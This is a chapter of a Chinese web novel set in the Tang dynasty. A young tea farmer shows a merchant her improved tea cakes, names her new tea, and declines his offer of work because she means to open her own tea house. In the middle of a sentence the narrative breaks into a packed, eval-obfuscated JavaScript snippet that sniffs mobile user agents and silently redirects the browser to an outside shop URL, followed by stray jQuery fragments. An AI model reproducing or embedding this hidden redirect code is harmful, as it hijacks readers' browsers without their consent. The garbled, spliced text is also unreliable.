16. 第 16 章

作品:《穿越唐朝采茶女

    程灵安在杭州待了半个月才回歙州。


    又到了收春茶的时候了,他不得不赶回来。


    船在渔梁码头缓缓靠岸时已是日落时分,程灵安下了船匆匆带着人往新安茶行赶。


    半月不在,渔梁的街上没有丝毫变化,他边走边这么想着。


    然而就在快要到新安茶行时,离着五家店铺的距离,原先的米店竟然换了招牌。


    “汪记…首创…茶煮鸡子”他驻足轻声读出青木牌匾上的几个大字。


    半月不见,汪三娘竟在渔梁街上开店了,他心中微微惊讶,看来自己倒是低估了她的能力与决心。


    他看向店内,空无一人。


    程灵安收回视线,转头低声吩咐身边阿顺:“查下这家人是不是搬来渔梁居住了。”


    阿顺颔首,他也看了眼那招牌上的字,心道看来郎君是真的上心了,一行人随即回了新安茶行。


    另一边,汪怜儿还不知晓程灵安已经回了歙州,她将新茶“养”在育里,隔几天就撑竹筏回下汪村看看。


    茶被养得愈来愈香,尤其是碎石茶树产的那几块茶饼。


    算算也快到收茶的时间了,汪家人提前将新茶运回了渔梁,回来时顺便跟新安茶行的人打了招呼说自家明日就来送茶。


    次日,汪怜儿早早起来,将自己收拾得干干净净,发髻插上唯一的那根银簪,还稍稍抿了抿红纸才出门。


    出门前,她没忘记带上块碎石茶树产的茶饼。


    从汪家到新安茶庄步行只有短短的几步路,可她却觉得这条路好漫长,心跳随着距离的拉近变得越来越快。


    待到了新安茶行门口,她一眼就看见了正在柜台里忙碌的那个令她魂牵梦萦的身影,汪怜儿拎着茶饼愣住了。


    身后汪世德和汪慎义两人扛着二百斤的春茶进了店,店里的帮工见状上前来接应,程灵安听到动静转回头发现门口处汪三娘正呆呆望着自己,手里还拎着个布包。


    他疑惑一瞬,又扫见一旁汪世德和他儿子带来的新茶,放下手中账本上去检查。


    汪怜儿乖乖站到一旁,准备等他自己发现不对时再接话。


    程灵安先是取出一枚茶饼看了看,灰青的茶饼称得他的手指越发白皙,他疑惑地看了看汪怜儿,汪家的制茶技术改了吗?倒还未见过颜色这么青的茶饼。


    他又凑近鼻子嗅了嗅这茶饼,闻着也格外清香些,他心中更加生疑,这不是汪家的制茶水平啊。


    汪怜儿站在一旁盯着程灵安的表情,发现他眼中疑惑越来越甚,她既紧张又想笑,硬生生憋着等他开口问。


    程灵安尝试用手掰却掰不动茶饼,汪世德赶忙说这茶饼得用刀子撬,阿顺赶忙取来刀子给程灵安撬了一小块下来。


    程灵安犹豫着放着嘴里嚼了嚼,随即感受到那非比寻常的茶香味,他心下肯定,汪三娘定是改了制茶技巧,从前汪家产的茶饼可比他嘴中的质量差上不少,只是歙州茶中的中下水准,而他嘴中这块已然可卖到中上价格。


    程灵安又看了一眼乖巧站在一旁的汪怜儿,去后面漱了口,再出来时他直接对着汪怜儿开口道:“三娘是否改动了些什么,今年产的茶饼比从前质量高了不少。”


    他语气清清淡淡一如往昔,表情看不出些什么,汪怜儿猜不透他是怎么想的,小心翼翼开口:“儿确实改了些制茶工艺,不知九郎尝着觉得如何?价格可提高些吗?”


    她不会迂回的谈生意技巧,只是下意识觉得和程灵安这样的人打交道直说来意便好,因此便直接提出想提高卖价。


    望着眼前神情忐忑的少女,程灵安心中微动,他从前只单纯觉得这个汪三娘有些本事是个心思灵巧的人,没想到是他低估了她的能力。


    阿顺一早便来回报,说是汪家以四万五千文的价格买下了原先的米店铺子,如今一家人已从下汪村搬来渔梁定居了。


    汪家能发达,全靠这半年多来卖茶煮鸡子的收入,去年能交上春茶也是因为汪三娘,如今这质量提升的新茶也是汪三娘改良的,这一桩桩事加在一起让他很是疑惑,为何自己从前竟从未对汪家此女有过印象,照理说她如此有本事自己是不会毫无记忆的。


    汪怜儿被程灵安盯了会儿还以为他是不同意,心中失落,又被他盯得害羞低下了头,脖子上漾起淡淡的粉。


    程灵安瞧见那抹粉,眸子紧缩了下收回视线:“既然茶饼质量提高了,那么新安茶行自当提高收价,只是这样一来就得重新定契。”


    汪怜儿听到这话高兴地抬起头,和阿爷对视了一眼后道:“自当如此。”


    说完,她又想起手上的茶饼,连忙取了出来递给程灵安:“此茶饼产量稀少,乃儿新发现之品种,还请九郎一尝。”


    程灵安讶然,伸手接过后打量了下手中茶饼,外表上到看不出什么,他又嗅了嗅,发现味道比一般的绿茶多了丝沉郁。


    他递给身旁阿顺让他去煎茶,又请了汪家三人到一旁坐等。


    没过多久,阿顺端着煮好的茶回来,程灵安接过,细细嗅了嗅空气中弥漫的茶香,端详着茶汤的色泽,最后再送到唇畔饮下。


    入口的瞬间是绿茶特有的植物清香,然后这香气竟越来越浓重,在口腔中散发开来,馥郁悠长,喝到最后还带了丝甘甜的回味,满口生香。


    程灵安心下震惊,此茶的味道他生平从未尝过,甘润醇厚,其品质几乎不输于已成为贡品、名扬天下的顾渚紫笋。


    他定了定神,抬首看向汪怜儿,语调上扬:“此茶乃三娘所制?”


    “是儿亲手所制。”汪怜儿回道,她发现程灵安好像有些激动,不过这茶确实很好,他也该激动了。


    “三娘给此茶起名否?此茶甚好,其味不在方山露芽之下,堪比顾渚紫笋,未来必将成为一代名茶是也,三娘实乃大才。”


    程灵安用一种她从没听过的语气褒扬了她制出来的的茶,还夸了她是“大才”,汪怜儿感觉到脸上传来阵阵热意,她一时之间竟不知道回什么了。


    “儿……儿……还未想好此茶的名字……多谢九郎赞誉。”她恍惚着轻飘飘回了一句,就看到对面的程灵安露出不赞同的表情:“三娘应当认真想想,给此茶起个好名字,某觉得未来此茶必将成为我歙州茶之代表,这也是三娘一家的机遇。”


    汪怜儿被他这番话点醒了,她皱着眉思索了下,确实该给这茶起个好名字,该叫什么呢?


    她想到这茶产自歙州的水竹山上,又是春茶,而且春


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397213|200209||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    季是对他们茶农最重要的季节,也是她出生的季节,更是她穿来唐朝、遇见他的季节,不如便叫“歙州水竹春”好了。


    汪怜儿把这个刚想好的名字告诉他,把起名原因也解释了一遍,只略去了最后一个原因。


    程灵安读了几遍“歙州水竹春”这个名字,觉得还挺好的,既符合此时人给茶起名的标准,又简易好懂,他颔首再一次夸了汪怜儿:“三娘心思灵巧,这个名字很是妥当。”


    他现在觉得汪三娘委实是个不可多得的人才,竟生了一丝想让她来新安茶行做工的想法。


    程灵安犹豫了下开口:“关于此茶,三娘可有什么打算?若是出售给新安茶行,报酬必定让三娘满意,若是……三娘愿意来新安茶行做工,便更好了。”


    汪怜儿听到这话不可置信地瞪大了眼,程灵安这是要挖她吗?要她去他家的茶行上班?


    他这话一出在场所有人都面面相觑。


    汪世德和汪慎义是知道自家怜儿有本事,没想到怜儿的本事大到连程九郎都看入眼了。


    阿顺则是觉得郎君这是想要双收,既要茶、也要人,这可是他家郎君做生意时的最常用的手段了,他在心里偷偷笑,看来郎君是真的看上这个汪三娘要纳她为妾了。


    程灵安静静看着汪怜儿,眼神中带着一丝期盼等着她的回答。


    一时间所有人的眼光都聚焦在汪怜儿身上,她此时已经想好了,自己想要实现开茶行的愿望的话就肯定不会到别人家的茶行做工,即便是程灵安家的茶行。


    而且这歙州水竹春她也不会卖给新安茶行,这可是以后她“汪记茶行”的招牌,现阶段她只会继续卖那些普通茶树产的茶,等到日后碎石茶树都嫁接成功,她也就停了和新安茶行的私契了。


    将这一切都想好后汪怜儿坚定开口:“儿想日后自己开茶行,因此无法将歙州水竹春出售给新安茶行,目前只能先定五年普通茶饼的私契,而且儿正在嫁接茶树,日后每年所产茶饼量会越来越少,不知九郎能否接受?”


    程灵安在听到对面少女的第一句话时便愕然了,汪三娘要自己开茶行?她一个女子竟然要开茶行?这是如何的胆大、无畏,程灵安一时竟被震住了。


    而对面的人还在说着自己的条件,口齿清晰、有条有理,一看便是经过了深思熟虑,程灵安默默听着,低下头思索着。


    汪怜儿说完了后发现全场都安静了,不仅程灵安,连自家阿爷和阿兄都吃惊地张大了嘴。


    她这才想起来自己还没跟他们说过想开茶行的事。


    汪怜儿微微心虚,摸了摸头,决定回去再和家人细说。


    对面的程灵安已然想好了,他微微笑了起来,一双眼亮得惊人:“三娘所提条件我新安茶行都可以答应,三娘志存高远、心信坚定非寻常女子可比,某相信用不了几年三娘必定能拥有一家属于自己的茶行,届时还请三娘多多关照了。”


    他站起身来行了个文雅的叉手礼。


    汪怜儿猛地抬起头,惊喜地看向对面那个脸上笑意盈盈的少年,她撞入他的眼眸中。


    直到告辞离去,汪怜儿都在想他的那个眼神,像是山间泉水,清清亮亮却又沁人心脾,她觉得一辈子也忘不掉那个眼神了。